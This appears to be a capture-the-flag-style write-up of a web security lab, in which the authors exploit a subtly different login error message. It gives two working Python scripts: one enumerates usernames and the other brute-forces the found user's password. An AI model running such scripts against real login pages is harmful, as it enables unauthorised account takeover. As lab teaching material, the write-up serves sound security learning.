We captured the login request and sent it with dummy credentials:

The response returned “Invalid username or password.” with an extra . in the message:

We wrote a Python3 script to check for subtle differences and found that one username produced the response without the . — using that we identified a probable valid username.

#!/usr/bin/env python3
import requests
from pathlib import Path
 
TARGET_URL = "https://0ac800df0392f42b810de86700cb0074.web-security-academy.net/login"
WORDLIST = "users.txt"
PASSWORD = "password123"
FAIL_SIG = "Invalid username or password."
 
wordlist_path = Path(WORDLIST)
if not wordlist_path.exists():
    raise SystemExit(f"Wordlist not found: {wordlist_path.resolve()}")
 
for username in wordlist_path.read_text().splitlines():
    username = username.strip()
    if not username:
        continue
    data = {
        "username": username,
        "password": PASSWORD
    }
    try:
        resp = requests.post(TARGET_URL, data=data, allow_redirects=False)
        if FAIL_SIG not in resp.text:
            print(f"[+] Possible valid username: {username}")
    except requests.RequestException as e:
        print(f"[!] Error testing username '{username}': {e}")

We observed the missing dot in the response for the valid username:

We then used the script below to brute-force that user’s password:

#!/usr/bin/env python3
import requests
from pathlib import Path
 
TARGET_URL = "https://0ad7005a030e73f480f03a4a00be00c1.web-security-academy.net/login"
USERNAME = "aS400"
WORDLIST = "passwords.txt"
FAIL_SIG = "Invalid username or password"
 
wordlist_path = Path(WORDLIST)
if not wordlist_path.exists():
    raise SystemExit(f"Password wordlist not found: {wordlist_path.resolve()}")
 
passwords = wordlist_path.read_text().splitlines()
total = len(passwords)
 
for idx, password in enumerate(passwords, start=1):
    password = password.strip()
    if not password:
        continue
    print(f"[{idx}/{total}] Trying password: {password}", end="\r")
    data = {
        "username": USERNAME,
        "password": password
    }
    try:
        resp = requests.post(TARGET_URL, data=data, allow_redirects=False)
        if FAIL_SIG not in resp.text:
            print(f"\n[+] Possible valid password found for {USERNAME}: {password}")
            break
    except requests.RequestException as e:
        print(f"\n[!] Error testing password '{password}': {e}")

We logged in as the identified user and solved the lab: